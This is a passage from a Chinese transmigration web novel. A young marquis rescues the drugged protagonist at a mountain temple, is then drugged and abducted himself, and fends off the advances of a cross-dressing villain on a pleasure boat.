眼下来不及思考,洛千俞忍下愈剧的心跳,快步上前,蹲下身,晃了晃那人肩膀,低声唤道:“闻钰?…闻钰!”
“醒醒……能听到我说话吗?”
闻钰双眼微睁,似乎听到了他的声音,却难以聚焦。脸色苍白,额头上渗出细密的汗珠,显然也中了药,乃至神智都有些模糊,无法聚拢。
洛千俞心中一沉,暗道不好。
他先前吃过亏,所以早有防备,方才只吸入了少量迷香,尚且能保持清醒,但闻钰显然已经中招多时,药效已深,若没这小肥啾引路及时赶来,恐怕真要凶多吉少。
小侯爷抿紧唇畔,心中不禁暗骂,原书中常有这种炮灰或是买股攻给主角受下药、意图不轨的下三滥桥段,可他万万没想到,这次竟被自己撞上了案发现场。
洛千俞站起身,警惕看向四周,最终目光落在那盏香炉上,便直接上前,轻车熟路地将那香炉连同着香一起扔到窗外。
尽管有布帘遮住口鼻,却仍一丝味道却强势入了鼻腔,洛千俞微微屏息,只觉得这香炉味道与他之前那屋的截然不同。
这头的香气更浅,雾缭也淡,如此正宗的檀香味萦绕鼻尖,乍一闻与真正的香火气息无异。
哪怕存心防备,有心分辨,依旧难以察觉其中异样。
洛千俞握紧手心,心中莫名来的一股愠意。
这幕后黑手也未免太过缺德。
为了让主角受中招,竟然在寒山寺两个入口、两间屋子,在两盏香炉里,分别插了两种香,生怕人家小美人不中招。
这哪里是香炉……你在这儿养蛊呢?
小侯爷俯下身,将闻钰扶起。
红尾鸟立在闻钰肩头,歪着脑袋
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,眼看着小世子从怀中掏出什么,像是一粒药丸。似不可闻般,小声道:“汤池那晚,原本奔着你来的采花贼没得手。”
“母亲担心我出事,说是防患未然,给了我一颗御香丸,传说能解百毒,药效大概……和你那千山雪莲差不多?”
“没想到竟真派上了用场……幸亏我今日带在身上。”
说着,他指尖拨开闻钰的唇瓣,捏着药丸,渡入那人口中,指腹触感柔软微凉,碰到一丝若有若无的湿润。
洛千俞动作微顿,没作声,指尖泛起一层淡淡粉色。
小侯爷将药粒喂了进去,然而,阖上那人唇畔,却发现对方并未吞下,药丸卡在他的唇齿间,迟迟没有咽下去。
连基本的吞咽反射都变得迟钝,洛千俞额角都渗出细汗,眼下又别无他法,只得低声唤他,“闻钰,睁开眼睛,不要睡。”
“你醒一醒。”洛千俞小声道,“不醒也行,咽一下。”
哄了半天,依旧毫无反应。
洛千俞原地愣了一会儿,心中一阵茫然,这种情况……不会要按电视剧那些桥段演的,用唇渡药不成?
可是药丸被含在闻钰唇齿间,吹吹气也就罢了,若真想渡去药粒,难不成……还要用舌?
不行!
这个念头一冒出,洛千俞立刻就生了退缩之意,不仅耳根一麻,心中也跟着一阵抗拒。
这归根到底是在书中世界,闻钰的初吻不该在这儿,他的更不该……况且觊觎闻钰的攻那么多,让他亲主角受,这得招多少仇恨值,还不如直接要他命!
可眼下情况紧急,一个男人纠结这种事实在小肚鸡肠,若不尽快让闻钰把药吃进去,迷香药效只会愈来愈深,若那幕后之人看时机成熟,一旦现身,恐怕两个人都要栽在这儿。
小肥啾站在闻钰肩头,歪着脑袋看着小侯爷,似乎不明白世子在犹豫什么,轻轻地啾了一声。
仿佛在催促他快点。
洛千俞磨了磨牙,心中叹了口气,甚至怀疑他上辈子是不是欠了闻钰什么,这辈子逮着自己一一还回来,心中默念救人要紧救人要紧,遂低下头,凑近那人面庞。
还未碰到,呼吸却无形间缠了上来,交织在一处,惹得后颈一颤。
就在此时,身后传来一阵急促脚步,紧接着是春生焦急的呼喊声:“小侯爷!您没事吧?”
洛千俞迅速坐起身,心中顿时一松,忍着心跳道:“我没事,怎么回来了,洛十府呢?”
春生堪堪停下,奔跑后扶着膝盖喘息不止,“小的没找到四少爷,心中惦记您,便顺着方向追来了。”
小侯爷如遇救星:“你来得正好,这人中了迷香,我刚给他喂了御香丸,但他咽不下去。你有没有什么法子?”
春生快步走上前,低头看了一眼闻钰,略一思索,便从怀中掏出一根细短竹管,道:“少爷,用这个试试,小人先前请过的郎中曾给昏迷的阿娘喂药,就是用竹管将药送进喉咙,再灌些水,药便能顺下去。”
真是个小机灵鬼!
洛千俞眼前一亮,忙接过神器,有些感激看了他一眼:“春生,还是你有办法。”
春生笑了声:“嘿嘿。”
小侯爷将竹管轻轻引至口畔,药丸不深,随后接过春生筐内水壶,缓缓喂了几口水。水顺着竹管流下,药丸终于被冲了下去。
确认看到吞咽动作,小侯爷才松了口气:“吃进去了。”
如此端详着观察一阵,闻钰脸色依旧有些苍白,额前碎发被汗水浸湿,衬得凤纹愈发红艳。
对方鼻梁高挺,睫毛很长,在昏暗的光线下投下一隅淡淡阴影,美得惊心动魄。
洛千俞见他满头细汗,推测是药效发挥了作用,此刻正难受得紧,便吩咐春生,“拿柄扇子来。”
春生点点头。
他从怀中掏出一包布料,小心翼翼打开,里面俨然是一柄金色折扇,保存得极好,扇面上还隐约题着几个字。
洛千俞一愣,目光凝在那扇子上,越看越眼熟,随即诧异道:“这……是我给你的那柄?”
春生点头,“嗯。”
“不是已经当掉了么?”
春生一时语塞,脸却红了,抿了抿唇,才说:“少爷给小人的宝物,小的实在舍不得当掉,便一直保管在身上。想着等天儿热了,公子需要,再拿出来给您扇风。”
洛千俞闻言,心绪一时复杂,竟没说出话来。
他伸手接过扇子,轻叹口气,“罢了。”
展开扇帘,轻着动作给闻钰扇了扇,微凉风意拂过脸颊,散了些许汗珠,对方眉头微微舒展,呼吸也似平稳了许多。
洛千俞动作没停,心中却在暗自盘算。
如此估摸着,至少还有半刻钟,御香丸才会生效,闻钰到那时也会恢复神智,他得在那之前跑路。
虽然他也知道,未来书中还会出现无数这样的情节,无论作为洛千俞还是小侯爷,他不可能次次阻止,但既然被他碰到了,伸手帮一把,至少让闻钰这次免于狼口。
就这一次。
他只插手这一次。
思忖之间,却没察觉怀中之人睫羽微微一颤。
幅度极轻,两人皆未发现。
尽管视线依旧模糊,却慢慢聚焦,恰好落在了春生手中的那柄折扇上。
金色扇面上,唯有映入眼帘的几个字——
“金榜题名,一举高中”。
昏暗光线下,格外醒目。
半阖的视野在那几个字停留许久,闻钰咬紧牙关,混沌脑海中蓦然闪过两个字。
……
是他。
16.第 16 章
闻钰的嘴唇微微动了动,声音极轻,几乎不可闻般念了什么。
洛千俞收了扇子。
虽说御香丸不是速效救心丸,昏迷之人至少半刻钟后才会有所反应,但一旦恢复神智,闻钰身手了得,在原书中武力值甚至稳居前三,这点他是知道的,再来何人都不是对手。
但保险起见,防止无法预料的其他变故突生,他和春生作为出手相助的路人,趁早溜之大吉的好。
只是,春生天生耳力灵敏,眉头一滞,低声道:“小侯爷,这俊公子好像说了什么?”
“怎么可能?”小侯爷一怔,下意识凑近些,瞧着闻钰紧闭眼帘,气息略显沉乱,像是内力仍在与药效对抗,“这御香丸没那么快显效,寻常人至少要等上一刻钟,体质再好也顶多减个零头,这才过去多久?”
春生点了点头,不疑有他:“那可能是小人听错了。”
洛千俞本来想把人就这么扔在这儿,可总觉着这地儿阴森不详,若是闻钰药劲没过去,就先被五花大绑,岂不是白救了?
心中秉承着救人救到底送佛送到西的理念,便吩咐春生:“咱们把他抬到外面去。”
“是,公子。”
可是俩人一付诸行动,才发觉比想象中困难。两人费了九牛二虎之力,才勉强将闻钰抬起来。洛千俞手臂发酸,险些站不稳,额头也渗出点细汗。
闻钰虽然看着是个翩翩如玉的书生,可真正的重量却更像个练家子,也幸亏春生折返来找他,这要是他一个人搬,还真未必搬得动。
小美人虽昏迷不醒,衣袍下的身体却隐隐透出力量感。肩膀宽阔,腰腹紧实,线条流畅却不夸张,骨肉白皙美感,却蕴着结实的张力。
即便是此刻昏迷不醒,依旧给人一种匀称有力的错觉,完全不像寻常美人受那般单薄细弱。
洛千俞摸过一次,但真正近距离接触,还是没忍住暗暗羡慕了一把。
“少爷……好像对这位公子关怀备至,可是您认识的人?”春生没忍住好奇。
“……不认识,我没有,未曾见过。”小侯爷否认三连。
春生哦了一声,有些可惜。
这位公子相貌不凡,一看就是个正直君子,若是作为朋友,比起楼衔那些不正经的酒肉朋友,和小侯爷看起来更般配。
如此思忖着,一个不注意,手上竟松了力道,重力猝不及防被压向小侯爷那头。
前几步虽走得吃力,却是好不容易挪到了地方,洛千俞刚调转方向,力道先是压向他的手臂,紧接着是毫无防备的颈怀。
还没来得及反应,洛千俞一个不稳,竟被扑倒在地。
两人身体重重地摔在地,洛千俞惊呼一声,后背撞在冰冷地面,疼得倒吸一口凉气。
更让他惊慌的是,闻钰的脸近在咫尺,唇瓣几乎贴在了他的脖颈上。温热呼吸喷洒于皮肤上,洛千俞浑身一颤,颈侧的敏感神经仿佛被点燃了般,瞬间蔓延至全身。
小侯爷受不住,忍不住一哆嗦,沉甸甸的推不开人,颈侧微颤,脸都红了一片。
“春生……愣着做什么?快来帮忙!”洛千俞忍不住唤人,声音难得染上恼怒无措。
春生这才回过神来,连忙上前,连拖带拽地将自家少爷从那人的桎梏解救出来。
小侯爷看了眼闻钰,又看向满脸愧意的春生,不由得心下了然。暗骂道,果然美人的威力深不可测,这美貌buff,就连他家小厮都被引去了注意,一时手里往了轻重。
倒是人之常情,也不能怪春生,洛千俞没说话,便由着他家小厮替他拍下灰尘,整理衣襟。
小侯爷衣袍凌乱,脖颈处还残留着一抹淡淡红晕,整个人看起来既狼狈又慌乱。
见自家少爷欲言又止,却唯独不出言怪他,春生愧疚的头都抬不起来,红着眼圈帮小侯爷正衣。
然刚松了口气,却忽然感觉脚踝处有些紧。
洛千俞低头一看,登时愣住——左边脚踝上,竟不知何时缠上了一条红色发带。
末端还打了结。
这是……?
定睛看去,那不正是自己先前在楼檐上丢失的、后来东郎桥夜市上与闻钰书中第一次正式见面,在对方手腕上发现的那条!?
方才混乱之间,闻钰什么时候给他系上的?
不对……闻钰还没彻底醒过来,既还没恢复神智,那就是潜意识的行为?
洛千俞目光落在那红发带上,怔愣间,忽然有些顿悟。
一直以来闻钰追寻他的下落,未必是想扒马,亦或是执着于自己的真面目,而只是想把这红发带物归原主罢了。
因为闻钰秉性正直如此,而并非他这个人重要。
而兜兜转转,发带竟也回到自己手里……对于主角受来说,了却心中执念,算不算是彻底两清了?
如此思忖着,洛千俞心神微动,这倒是好事,于是迟疑间,倒也没伸手去解。
“春生,我们走。”
“是。”春生脚步一顿,像是想起什么,“公子,竹筐还在殿内,待小人取回来,里面还有折扇和香火呢。”
小侯爷应了声,春生转身,快步跑回大殿。
没过半晌,忽然听到殿内传来一声闷响,仿若有什么东西重重摔落在地。
洛千俞心头一跳,抬头看向大殿方向,春生身影消失在门内,没有任何响动。
“春生?”小侯爷喊了一声,却没得到回应。心中不由一紧,快步朝大殿跑去。
刚一进殿,便看到春生倒在地上,手中的竹筐摔在一旁,折扇、香火和水壶散落一地。春生脸色苍白,鼻子下竟渗出一道血迹。
“春生!”洛千俞连忙蹲下身,伸手去扶。然而,手刚碰到对方肩膀,却忽觉手背一热,低头看去,竟是一滴血滴落在自己手背上。
洛千俞一愣,下意识抬手摸向鼻子,指尖顿时染上一滴鲜红,竟是他的鼻子也在流血。
不好!
果然,小侯爷试图站起身,却发觉双腿发软,根本使不上劲儿,头一阵发昏,仿佛有千斤重,视野都开始恍惚。
眼前周遭仿佛蒙上一层薄雾,连春生的脸都变得模糊不清。
失去意识前一刻,脑海中只剩下一个模糊念头。
闻钰也中了香,药效更深更久,却没有流鼻血的症状,他和春生摄香尚浅,不该严重至此,究竟……哪个步骤出了错?
-
山腰下,总旗行了礼,先一步告退。
洛十府抬眼时,发现兄长早已不见人影,果然没等自己,便独自一人加快脚步,踏着石阶上山。
夜色渐深,雾气弥漫开来,寒山寺的轮廓在月光下愈显幽静。洛十府默不作声,却觉过于安静了些。
刚走至寺门,却见一道身影鬼鬼祟祟地从侧门闪出,那人面上围着巾帕,手中端着一盏香火,步履匆匆,倒显得几分鬼鬼祟祟。
洛十府眉头一皱,心下生疑,便快步上前,一把扣住那人的手腕,反手上折,惊得对方连连哀嚎。
“哎哟,疼疼疼!!”
“你是何人?……放手,放手!”那人声音颤抖,挣扎间面围也随之滑落,结合身着打扮,竟是寒山寺的方丈。
洛十府目光寒凉,手上力道不减,只冷声问道:“你鬼鬼祟祟的,在做什么?”
方丈疼得脸色发白,知道这不是寻常客人,连连遮掩:“大人轻着点!老衲,老衲……”
“胆敢虚言,现在便砍了你的舌头。”
方丈哪见过这阎罗架势,直接不打自招:“大人饶命!!老衲只是奉命行事,不敢有违!”
“奉命?奉谁的命?”洛十府声音低沉,携着不容置疑令人胆寒之意,“还是你想等着下了诏狱再说!”
“大、大人饶命!”方丈瞳孔一颤,哆嗦着跪下,只好托盘而出:“前些日子,有两人分别找过老衲,给了些好处,叫老衲今日不开放寺门,香火一个时辰一换,还要老衲退远些,莫要打扰他们行事……老衲也属实是被逼无奈啊。”
洛十府闻言,脸色骤变,开口问道:“方才可有个公子进了寺?”
方丈回想着,点点头,颤声道:“是……是有这么一位公子,带着个侍从,直接进了大殿。老衲按照吩咐,没敢多问,只远远瞧着……”
“他人在哪儿?”
被这气势所慑,方丈哪有敢不答的:“大殿……在大殿里!老衲方才在他们进去前,按吩咐换了香火,便退了出来,至于那位公子现在如何,老衲实在不知!”
洛十府顾不得再与方丈纠缠,转身便朝大殿疾步而去。
一路疾行,快步踏入庙宇,殿内香炉已不见踪影,空无一人。
“兄长!”洛十府扬声喊道,却无人回应。
他站起身,目光扫视四周,却忽闻殿后传来一阵轻微响动。
穿过回廊,俨然竟是另一处庙堂。
洛十府目光一扫,便瞧见地上散落的竹筐、洒了一地的水壶。以及倒落在地、已然昏迷不醒的春生。
*
黑衣人将不省人事的小美人扛在肩上,身如叶影,穿于寒山寺外密林中。
夜色沉寂,月光被茂密丛林所遮蔽,四周所见之处皆是一片漆黑,唯有风声自耳边擦过。
他脚步轻盈,几乎与夜融为一体,偶尔踩断的枯枝声也被风声掩盖,惊动了三两鸟儿。
也就在此时,他耳尖一动,自远处听到一声穿堂之响,下一刻,紧接着一道寒光直奔他的面门而来!
黑衣人瞳孔一缩,迅速侧身,那暗器擦着他的耳际飞过,钉入身后的树干,发出“咚”的一声闷响。
“谁?!”
黑衣人低喝一声,脚步未停,继续向前疾驰。然而,还未等他跑出几步,忽然感觉胳膊一紧,一条柔软丝带不知从何处飞来,紧紧缠住了他的手臂。
那丝带看似轻盈,却藏着极大力道一般,勒紧瞬间,仿佛铸铁般嵌入皮肉,勒得他闷哼一声,手臂生疼。
黑衣人眉头一紧,试图挣脱,却发现那丝带竟越缠越紧,甚至隐隐有割破衣袖的趋势。顿时心中一凛,知道来者不善,同时身手不凡。只得停下脚步,借着丝带的力道一跃而起,落在一根粗壮树枝上。
他单手扶着树干,另一只手紧紧搂住昏迷的洛千俞,目光警惕,巡视四周。
“谁在那儿?”
“有本事暗器伤人、躲躲藏藏,没本事滚出来!”黑衣人冷声喝道。
黑暗之中,蓦然传来一声轻笑,随即一个低沉懒散的男人声音响起:“蠢货,光顾着得手,也不看看自己绑的是谁?”
黑衣人眉头紧锁,目光死死盯着声音传来的方向……竟就在自己上方!
只见一道修长身影从树影中缓缓走出,丛叶树影透下的月色缝隙洒在那人身上,映出一张美貌且冷峻的面庞。
那人一袭淡青色长袍,袖口绣着暗粉花纹,手中握着半截丝带,断处像是匿了金属,月光下隐隐泛着冷光。
“哪儿来的愣头青?敢骂老子蠢货,老子招你还是惹你,所意何为!”看出是个脾气暴的,黑衣人肃目横对,这一下额头都爆出青筋。
那青衣男人轻笑一声,丝带“唰”地一声展开,柔软的那头竟不知何时缠上了那未醒之人的腰,悠悠拽了拽,语气带着分讥讽:“为主子卖命,却不知道自己绑错了人,不是蠢货是什么?”
“绑错人?”黑衣人低头看了一眼怀中的洛千俞,压根不信,“京城数一数二的美貌,身上绑了根红发带,在场的除了他,还能有谁?”
接着,像是想起什么,又悠悠冷笑一声:“再说,我若是绑错了人,你为何要追上来?”
“你看上了,想抢人就直说,少在这儿装神弄鬼!”
那男人闻言,唇角勾起一丝冷笑,“抢?你错了。”
“我追上来,是因为你绑的本就是我的人。”
“狗屁!”黑衣人不再废话,复命要紧,于是身形一闪,瞬间逼近那不速之客。
他手持短刃,不想在此浪费太多时间,于是招式短狠,刀刀直逼这嚣张之人的要害。而那人则不疾不徐,身形飘逸,游刃有余般,手中丝带以柔克刚尽数缠卷,竟一一躲开了自己攻势。
本想迅速了结,却发觉那人看似不疾不徐,实际速度极快,鬼魅一般。刀光剑影,于密林交错闪耀,战场好似处于无形,周围的树叶却被劲风卷起,簌簌落下。
黑衣人咬牙切齿,手中短刃划出一道锐光,直逼那人咽喉。而那青衣之人身法诡异,轻巧躲过,始终让他无法得手。
就在两人僵持不下时,忽的听到一声尖利风响。
下一刻,数道寒光直奔两人而来!
两人皆是一惊,迅速闪身躲避,只见几枚飞镖钉入他们身后的树干,力道之大,竟将树干震得微微颤动。
“谁?!”黑衣人低喝一声,目光警惕地扫视四周。
青衣公子则眉头一皱,眼中闪过诧异,显然对这飞镖并不陌生,低声自语:“妈的,又是他。”
话音未落,一道身影紧随着飞镖,自黑暗中突身而至,手中佩刀光刃滑动,眼中尽是令人胆寒的冷意决绝。
“放开我兄长。”洛十府一字一句,冷声开口。
那几个字所咬牙升含的寒意,仿佛要将他们生生撕裂。
黑衣人见状,心下一凛,竟一时之间有些崩溃。
心说真他娘的麻烦,这差事看似容易,烧个香绑一绑的事,可真正得了手,却发现复命之路异常艰难!
一个两个都要来抢,一个没解决完,另一个飞镖加短刀就冲过来了,竟是一副拿命抢人的架势。俗话说美色误人,可这未免也太过误人,也误了太多人,这美人究竟还有多少人惦记!!
于是握紧砍刀,颓然而崩溃地朝洛十府砍去。
缠斗之间,愈来愈多的树叶飘落而下,簌簌作响。
而那青衣之人瞧准时机,忽然身形一闪,趁着两人杀红了眼的间隙,身影掠向洛千俞,收紧不知何时已在对方腰间缠紧的丝带,伸手一捞,便一把将人抱起,稳稳接在怀中。
“两位慢慢打。”青衣男人脚一点地,离弦之箭般蹿向远处,那声音饱含戏谑之意,刚飘入空中便散了,“人我先带走了。”
“你敢!”洛十府怒喝一声,手中佩刀一挥,竟直奔那道身影而去。
然而那人无心恋战,仗着怀里有人,洛十府定不敢下死手,堪堪躲过,转眼间便消失在密林深处。
黑衣人缠着洛十府交锋了数十下,最后一招却落了空,他愣住,站在树枝上,只觉周围竟不知何时恢复平静,他有些迷茫。
周围再无人影。
“……?”
见两人都扔下他走了,这才反应过来,自己到手的猎物被人抢了!黑衣人气得咬牙切齿,刚欲携刀追上,忽觉背后一阵风声袭来。
刚对付完两个,还一不小心把小美人弄丢了,连气都没喘一口……这第三个又来了!?
可这一次,与以往皆不相同。
黑衣人甚至来不及反应,便感觉胸口一痛,整个人被一股大力打落在地,瞬时眼前一黑,意识几乎要散去!
他低咳一声,只觉五脏六腑都在震颤,喉头腥甜,他甚至无法迅速坐起身,便撑着地面,口中喷出一大口鲜血。
“什……什么?”
他勉强抬起头,模糊视线中,只见一道绝美而利落的身影掠过眼前,疾速前行。
那人手持一柄玉灵剑,剑身泛着冷冽光芒,映出美人清冷如月的面容。黑衣人虽不认识他,但心中却莫名生出一股惧意胆寒。
这人到底是谁?
……以他的身手,怎么可能被一招打落?!
还未想明白,便彻底失去了意识。
-
【二更】
洛千俞从昏迷中渐渐恢复清醒。
眼皮沉的像是压了千斤鼎,他费力地睁开眼,却觉疲乏至极,首先入目的是暖色光线。
那光影柔和轻洒,仿若薄纱笼罩,并不刺眼。
小侯爷眨了眨眼,视线逐渐清晰,却仍有繁影,他发现自己正躺在一张床榻上。
他尝试动了动身子,发现无法动弹分毫,却感觉床榻似乎并不像平日的床那般稳固,而是带着一丝轻微晃动,仿佛随着某种节奏轻轻摇摆。
洛千俞心中一动,凭借以往混迹风月的经验,立刻意识到自己身处何处。
这是……画舫?
他怎么会在船上?
小侯爷侧过头,目光默默扫过房间内陈设,四壁挂着丝绸帷幔,其上绣着栩栩如生的雪花,有些独特。
房间一侧放着雕花红木桌,桌上摆着一盏鎏金香炉,炉中燃着淡淡檀香,袅袅溢散,弥漫在整个房间内。
……这次倒是寻常无害的香。
吃了两次亏,他现在对这东西极为敏感,甚至直接变身品香高手。
只是有些奇怪,仔细看来,这间房内能绣或是能刻上的图案,大多都和“雪”有关,主人几乎是到了执着的程度。
正思索间,忽听到门外传来一阵轻巧脚步声,随即,是门扉被轻轻推开的声音。
“你醒啦。”
那声音带着一丝甜腻,显然有些惊喜。
洛千俞一怔,显然是看到了意
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外之人:“……柳儿?”
柳儿握着帕子,挪到近前,轻声道:“先别动,公子贵体尚未痊愈,恐不宜有太多动作。”
小侯爷抿了下唇,没接这句,心说现在他想动也动不了。
于是问:“怎么回事,我怎么会在画舫上?”
“柳儿上山入庙焚香祈愿,孰料于庙堂之内,竟撞见公子昏迷于地,不省人事。”回想起来,仿佛心有余悸般,柳儿压着胸口,眼中含热:“奴家心忧公子乃遭奸邪之辈所害,若在此处久留,恐再生祸端。故而急忙寻了些人手,将公子搀扶至这画舫之中。虽说乃风月之地,好歹能护公子周全。”
洛千俞一怔,连忙问:“你发现我时,可曾瞧见过旁的人?譬如身着侍从服饰之人,又或是……雕花阁中你曾见过的那位公子?””
柳儿摇了摇头,有些迷茫:“未曾见过,只有公子一人。”
“我家小厮也不在?”
“是。”柳儿轻声道:“恐怕是以为公子身遭险境,仇家登门相逼,一时惊慌,逃下山去了。”
洛千俞泄了口气。
怎么回事?
这个故事未免太过凑巧,也有些离谱。柳儿去烧香,恰巧偶遇了中香昏迷的自己,身边没有春生,殿外也没有闻钰。
先不提闻钰已经吃了御香丸,迷香之效不攻自破。而春生和他一样,同样着了道,又如何逃脱?即使逃脱,怎么可能对他不管不顾?
没等洛千俞开口,柳儿红唇微动,道:“小女子已寻郎中帮公子看过。”
“嗯?”
“此番公子中的……恐怕是合欢香。”柳儿小声回答,后几个字像是吐出的极为艰难。
洛千俞眉梢微滞:“……什么?”
“昔日承蒙公子照拂,柳儿铭记于心。如今公子遭此困境,正是柳儿报恩之际……自当万死不辞,绝无半点怨言。”柳儿脸上浮过绯色,像是难以启齿,手上却开始解起了洛千俞的衣襟,动作流利。
“等一……”
小侯爷一愣,心中大骇,还没反应过来发生什么,可他知道再不出言阻止,恐怕不一会儿就被扒光了!
于是大喝道:“柳儿,你等等!”
“我对姑娘……没有兴趣。”
小侯爷抿了下唇,恨不得把领口掖到脖颈之上,可惜眼下心有余而力不足,只好道:“就算中了合欢香,我们做了那档子事……也解不了,不劳烦姑娘了。”
“公子不是一直盼着与我独处?”柳儿动作稍停,声音较前沉了一些,置若罔闻般,谆谆蛊惑道:“这一幕,不是公子梦寐以求的吗?”
“…不是!”
没等这柳儿继续撩拨,洛千俞再也忍不住,管他古代现代,连珠炮脱口而出:“梦寐以求个屁!谁想和你独处?编了这么一堆狗屁故事,你爹我有信一个字?说了不感兴趣,不感兴趣能听懂吗?就是我对你硬不起来!我是直男,听不懂话吗?听不懂就回炉重造……你!”
谁知这番话还没说完,小侯爷一怔,突然停了口。
不仅停了口,神色也跟着一僵,小侯爷目光移至他处,抿紧了唇畔,拳头都要攥起来了。
“哎呀,对不住………吓到你了?”柳刺雪低笑一声,这次,却是彻底变回了男人声音。
“但你好像并不意外,早就知道我是男人?”
…
“奇怪了,我应该藏的很好,没露出任何破绽,入京以来一直如此……你怎会知道?”
洛千俞脸色发青,闭语不答。
“你果然不简单。”柳刺雪眼中尽是惊喜,倾下身,视线细密地看向小公子,哄着问:“小侯爷,你是怎么发现的?”
“……”
“不想说话是吗?”柳儿却不在意,细柔的声音道:“没关系,待会奴家有的是办法让爷叫出声来。”
随即便俯下身来。
手勾上小侯爷的腰带,带着一丝香气,身形渐渐往下。
洛千俞轻咬牙关,这会儿已是蓄谋已久,虽然全身软绵无力,却瞅准了对方的破绽,这一下几乎是使尽全力,抬脚一踹,准准踹向对方肩头。
处于劣势的小世子脸色未变,只躺在塌上,冷冷望着那人道:“知道我是谁还敢绑,当真是活腻味了。”
本来这一下洛千俞没指望能造成什么伤害值,纯粹是出气用的,可刚踹完,却见柳刺雪明显脸色一变。
那人闷哼一声,不一会儿,肩头竟渗了血。
洛千俞也随之愣住,他盯着那人肩处,像是要瞧出什么来,许久都没移开视线。
“有何不敢?”
“公子不是嫌弃奴家的手吗?”柳刺雪冷笑一声,捂着肩头的手一松,沾了血的指腹覆上小侯爷的唇,摩挲着,眼中逐渐染上狂热,“若是被嫌弃之人的手摸遍全身,会是什么感觉?”
洛千俞喉头一哽。
他和柳儿真正意义上的相处实在屈指可数,所以柳儿一提这事,他回忆起来也颇为轻松,自己嫌弃对方的手……好像确确实实发生过两次。
一次是柳儿敬酒,掌柜让捏捏小手,他不肯摸。
一次是柳儿上楼,他嘴贱逗人家结果被捏了手,遂迅速收回,不肯给摸。
不是吧……这么记仇?
洛千俞知道这人不能用常理分析,可是回想起过去种种,与其说惊讶,倒不如说眼下这一幕更让他心生恍惚,或者说有些迷茫,竟不自觉问出了口:“你想劫色的……不是闻钰吗?”
那人明显动作一顿。
许久,投向自己面庞的目光依旧未挪开分毫,声音却是前所未有的兴奋,低声道:“心肝儿,你怎么连这都知道?”
洛千俞彻底不说话了。
那人却好像不在意自己是否回答似的,继续道:
“听说你缺个贴身侍卫,我怎么样?”
“你做梦!”
小侯爷一听这茬,先是不禁恼怒,暗骂这人真是不要脸到没边了,继而却沉静几分,心中陷入思考。
等等。
他想找个贴身侍卫这事,从未对旁人说过。
唯一一次产生这个念头,或者说把这个念头付诸于口的,就是那日在汤池之中,自己偶然脱口而出的话!
汤池里的采花贼……竟是柳儿!?
柳刺雪那时候,是以男人现身!?
柳刺雪却仿佛洞穿了洛千俞心中所想,低低笑了下,沉声道:“你说得对,我是想对闻钰下手,对你未曾有过兴趣。”
“又是挥金坐场,又频送厚礼示好,平日行事跋扈张扬,腹中却空洞无物,所用手段皆是些陈旧套路,着实缠人得紧。”柳刺雪倒是不在他面前继续装了,声音慵懒,神态似是因回想而浮现不耐嫌弃,话音一转,却又逐渐热烈,用的依旧是男声:“可是那日在汤池中,小侯爷大发慈悲,让奴家大饱眼福……”
“你给我看过,又给我看了那么多,之后小女子满心满眼想的,都是那一幕。”
“其他人,便再也入不了眼了……”
果然是他!
小侯爷心中猜想成了真,原著中最后也没揭秘的谜团,引来论坛争相讨论的未填之坑,竟在这里揭开真相。
洛千俞震惊之余,脊背却一阵发麻,心道谁给你看了?明明是你不请自来的好么?
洛千俞心中叹气,只觉头疼加恶寒,他知道柳刺雪是变态,原著中已经表达的足够明确了,但他却搞不清男同的脑回路,看人家洗澡就立,目标换的如此轻易,先不提古代行军打仗条件艰苦简陋,一大堆男人一起洗澡是常事,若是遇见澡堂一样的地方,岂不是得看花了眼?连进都不能进?
那人不知小侯爷内心活动,自顾自的,又低声道:“后来发现,只看不够,还想尝一尝。”
尝你妈!
眼见那人脸色一变,洛千俞才发现自己没压抑住,竟骂出了声。
“拜小侯爷所赐,家母已不在人世。”
柳刺雪敛去笑意,垂下眼帘,抵着小侯爷的前襟,又缓慢移到下颌:“可是公子,小女子还有一事请教。”
“‘穿越’所谓何意?……‘这副身体’又是什么意思?”柳刺雪垂下眼帘,眸光被粼湖笼光映亮,慢条斯理道:“明明就是洛家最受宠爱的世子,为什么又置身事外般,称自己为‘这小侯爷’?”
洛千俞脸色微变。
那日在汤池中,他那时以为池中无人,拽着小胖鸟嘀咕了好些句,也不知被这人听去了多少!
“你不是洛小侯爷。”
柳刺雪目光如炬,直直盯着洛千俞,近乎炽热道:
“乖乖,你究竟是谁?”
17.第 17 章
洛千俞心下一惊。
好在反应快,暗暗估量着,想必该听的不该听的都被对方听了去,这种时候别无他法,秉承着敌试探我不乱的态度,此等荒唐事,打死不认就完了。
“小爷胡言乱语之词,倒被你捡去东拼西凑仔细听了进去。”洛千俞抿了唇,忍下一瞬悸动,暗自淡定下来,“柳刺雪,你话本看太多,分不清书中和现实了?”
“……你不想提这个也罢。”柳刺雪牢牢盯着身下之人,忽然哼笑了声,像是没指望对方会承认似的,又将话题转回先前,软下语气:“别气了,今日便放你回家,我会拟好一份卖身契,届时送到你府上。”
“小侯爷到时只需动动笔,签个字画个押,可好?”
洛千俞一怔,霎时反应过来,柳刺雪竟还惦记着贴身侍卫那档子事呢。
“…不好!”小侯爷深吸口气,俨然一副你在说什么屁话的表情,决绝道:“好话不说第二遍,柳刺雪,贴身侍卫这事,你想都别想。”
几番相处下来,柳刺雪也摸清了这小侯爷的脾气,对方吃软不吃硬,有些事要靠哄,可唯独在这件事上却无论怎么软磨硬泡,对方异常坚决,打死了不松口。
仿佛他是什么唯恐避之不及的洪水猛兽一般。
“怎么,我不行,闻钰就行?”柳刺雪撩起他额发,声音不禁染上恼怒,冷笑道:“你觉得我美貌比不上他?摘仙楼时你还为我一掷千金,忘了吗?这么快就变了心?”
“洛小侯爷,什么时候开始好男风了?”
“不好男风,更不好你,行了吧?”洛千俞心中还憋着气,为弥补此刻无法动弹不能亲自动手的遗憾,逮着机会就埋汰对方,“有些话非要说明白吗?你就是比不上闻钰,一个大男人涂那么浓的妆,庸脂俗粉,俗气至极,怎么和人家比!”
虽然这么说的确有失偏颇,因为柳儿除了曲唱的好,也素以美貌闻名京城,虽比不上闻钰,但不失为另一番风味,不然原主先前也不会动心,又是砸钱又是包场,只为博美人一笑。
可这一口一个俗,似乎精准逮到了对方痛处,原著中极其注重外貌的女装大佬攻,此时脸色果然相当精彩。
“你倒是心狠,尽挑着我伤处踹。”柳刺雪扣住他手腕,咬牙低声道:“想必奴家也就不用手下留情了?”
他俯下身,盯着身下人泛红的耳垂,“若不是你那不长眼的弟弟坏了我的好事,早在汤池那日,我就已经得手了。”
洛千俞气得脸色发白,正欲再骂,忽听到门外传来脚步声,紧接着是门扉被推开的声音。
“柳儿,你在这儿吗?该准备上台了——”
